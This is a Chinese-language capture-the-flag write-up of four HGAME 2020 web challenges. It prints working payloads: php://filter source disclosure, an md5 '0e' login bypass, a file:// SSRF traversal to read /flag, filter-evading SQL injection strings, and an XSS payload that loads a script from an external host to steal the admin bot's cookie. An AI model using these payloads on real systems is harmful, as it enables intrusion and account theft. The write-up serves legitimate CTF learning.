2020 HGAME WEB_Week2

Cosmos的博客后台

涉及内容
PHP 伪协议
文件包含

Hint:flag保存在根目录下

打开发现是一个登陆页面,注意到URL有一个参数是action,如下:

http://xxxxxxx/?action=login.php

尝试伪协议获取login源码:

?action=php://filter/convert.base64-encode/resource=login.php

发现可以获取,源码如下(去掉了无用部分):


include "config.php";
session_start();

//Only for debug
if (DEBUG_MODE){	
    if(isset($_GET['debug'])) {
        $debug = $_GET['debug'];
        if (!preg_match("/^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$/", $debug)) {
            die("args error!");
        }
        eval("var_dump($$debug);");
    }
}

if(isset($_SESSION['username'])) {
    header("Location: admin.php");
    exit();
}
else {
    if (isset($_POST['username']) && isset($_POST['password'])) {
        if ($admin_password == md5($_POST['password']) && $_POST['username'] === $admin_username){
            $_SESSION['username'] = $_POST['username'];
            header("Location: admin.php");
            exit();
        }
        else {
            echo "用户名或密码错误";
        }
    }
}
?>

登录需要知道admin_usernameadmin_password的值,盲猜应该是在config文件里面定义的,但是被过滤,无法直接读取config.php,需要从其他地方下手。于是想到了超全局变量$GLOBALS。通过$debug=GLOBALS可以获取当前定义的所有变量值,得到:

["admin_username"]=> string(7) "Cosmos!"
["admin_password"]=> string(32) "0e114902927253523756713132279690"

密码是经过MD5加密的,无法得到原密码,还是老套路,密码直接尝试输入QNKCDZO,登陆成功。

这里利用的是PHP弱类型。
如果两个比较的字符串都是0e开头,那么比较时会被当成科学计数法,运算结果为0。从而原本不相等的两个字符串在此通过弱比较。

进入后台后,没发现什么特别的地方,回到login页面,尝试读取admin.php,源码如下(去掉无用部分):


include "config.php";
session_start();
if(!isset($_SESSION['username'])) {
    header('Location: index.php');
    exit();
}

function insert_img() {
    if (isset($_POST['img_url'])) {
        $img_url = @$_POST['img_url'];
        $url_array = parse_url($img_url);
        if (@$url_array['host'] !== "localhost" && $url_array['host'] !== "timgsa.baidu.com") {
            return false;
        }   
        $c = curl_init();
        curl_setopt($c, CURLOPT_URL, $img_url);
        curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
        $res = curl_exec($c);
        curl_close($c);
        $avatar = base64_encode($res);

        if(filter_var($img_url, FILTER_VALIDATE_URL)) {
            return $avatar;
        }
    }
    else {
        return base64_encode(file_get_contents("static/logo.png"));
    }
}
?>

发现只能接受localhosttimgsa.baidu.com的外链内容,然后它会通过curl访问该URL获取图片。这里注意到图片在页面中是以data:image/jpeg;base64,+base64_code的方法嵌入的,想到可以利用file协议使curl读出flag内容,然后将其嵌入到页面源码中,从而获取flag。

这是在RFC2397中定义的Data URI scheme.
Data URI scheme 允许我们使用内联(inline-code)的方式在网页中包含数据,目的是将一些小的数据,直接嵌入到网页中,从而不用再从外部文件载入。常用于将图片嵌入网页。

构造payload:

file://localhost/../../../../../../../../../flag

等待网页更新后,发现图片加载失败,于是查看源码发现图片处:

<img height="200" width="500" 
src="data:image/jpeg;base64,aGdhbWV7cEhwXzFzX1RoM19CM3NUX0w0bkd1NGdFIUAhfQo=">

解码后得flag。

Cosmos的留言板

涉及内容
SQL注入

初步测试,发现参数id可注入,同时初步测试出空格和select被过滤,可分别使用/**/和双写绕过。
然后就是一个很简单的注入了。
Payload:

id=%27%2f**%2funion%2f**%2fselselectect%2f**%2fdatabase()%3b%23

得到数据库名easysql

id=%27union%2f**%2fselselectect%2f**%2fgroup_concat(table_name)%2f**%2ffrom% 2f**%2finformation_schema.tables%2f**%2fwhere%2f**%2ftable_schema%3d%27easysql%27%3b%23

得到表名f1aggggggggggggg

id=%27%2f**%2funion%2f**%2fselselectect%2f**%2fgroup_concat(column_name)%2f* *%2ffrom%2f**%2finformation_schema.columns%2f**%2fwhere%2f**%2ftable_name%3 d%27f1aggggggggggggg%27%2f**%2fand%2f**%2ftable_schema%3d%27easysql%27%3b%23

得到字段名fl4444444g

id=%27%2f**%2funion%2f**%2fselselectect%2f**%2ffl4444444g%2f**%2ffrom%2f**%2ff1aggggggggggggg%3b%23

得到flag.

Cosmos的新语言

涉及内容
简单脚本

进入页面,发现页面直接给了源码和一串密文,找找线索,有file_get_contents('mycode'),于是尝试访问mycode看到生成密文的源码:

function encrypt($str){
    $result = '';
    for($i = 0; $i &lt; strlen($str); $i++){
        $result .= chr(ord($str[$i]) + 1);
    }
    return $result;
}

echo(strrev(str_rot13(strrev(base64_encode(str_rot13(str_rot13(str_rot13(str_rot13(strrev(encrypt($_SERVER['token'])))))))))));

if(@$_POST['token'] === $_SERVER['token']){
    echo($_SERVER['flag']);
}

可以看到他对token进行了一系列操作,只要post过去一个原始token就可以得到flag。
刷新几次后发现每隔几秒钟会刷新一下,这些编码函数都是随机生成的,所以写脚本如下:


function decrypt($str){
    $result = '';
    for($i = 0; $i < strlen($str); $i++){
        $result .= chr(ord($str[$i]) - 1);
    }    
    return $result;
}

$url="http://11fd5a58f8.php.hgame.n3ko.co";

$token=file_get_contents($url);
$token=explode("\n", $token); 
$token=$token[4];
// echo $token;

$resource=file_get_contents($url."/mycode");
$resource=explode("\n",$resource);
// echo $resource[8]."
";
$resource=explode("(", $resource[8]); // foreach ($resource as $item){ // echo "~".$item."~
";
for ($i=1;$i<=10;$i++){ switch ($resource[$i]){ case 'base64_encode': $token = base64_decode($token); break; case 'strrev': $token = strrev($token); break; case 'str_rot13': $token = str_rot13($token); break; case 'encrypt': $token = decrypt($token); break; } } $opts["http"]=array( "method" => "POST", "header" => "Content-type: application/x-www-form-urlencoded", "content" => http_build_query(array("token" => $token)) ); $content=stream_context_create($opts); $response=file_get_contents($url,false,$content); echo "
"
.$response;

本地运行直接得到flag。

Cosmos的聊天室

涉及内容
XSS攻击

打开页面如下:
2020 HGAME WEB_Week2_第1张图片
发现留言板正则过滤了所有的标签,这点可以利用浏览器的容错性进行绕过,不闭合右标签,最后加注释即可。
另外留言板也将所有字母转为大写,可用HTML字符实体进行绕过。
右上角提示flag is here,打开返回内容:

Only admin can get the flag, your token shows that you're not admin!

需要获取管理员身份,才能获取flag。
于是构建payload,利用xss平台想办法获取管理员的cookie

其中编码内容为:

s=createElement('script');body.appendChild(s);s.src='xss_url';

至于后面的6位md5验证码,写脚本进行碰撞即可:

import hashlib

md5v ="验证码的值"
def sb(md5v):
    for x in range(1,10000000):
        md5_value=hashlib.md5(str(x).encode('utf-8')).hexdigest()
        if md5_value[:6]==md5v:
            return str(x)

print(sb(md5v))

提交即可。
这个bot好像有点什么问题,我刚开始还以为是我payload有问题,换了n种,结果最后不是我的问题,同一个payload传了八百万次,终于有一次收到cookie了(就一次),真的是心态爆炸
xss平台上得到的信息如下:
token
拿到token了,修改cookie,伪装成admin身份,然后打开flag页面,发现输出了flag。

(个人整理,如有错误欢迎指正)

你可能感兴趣的:(CTF_Writeup)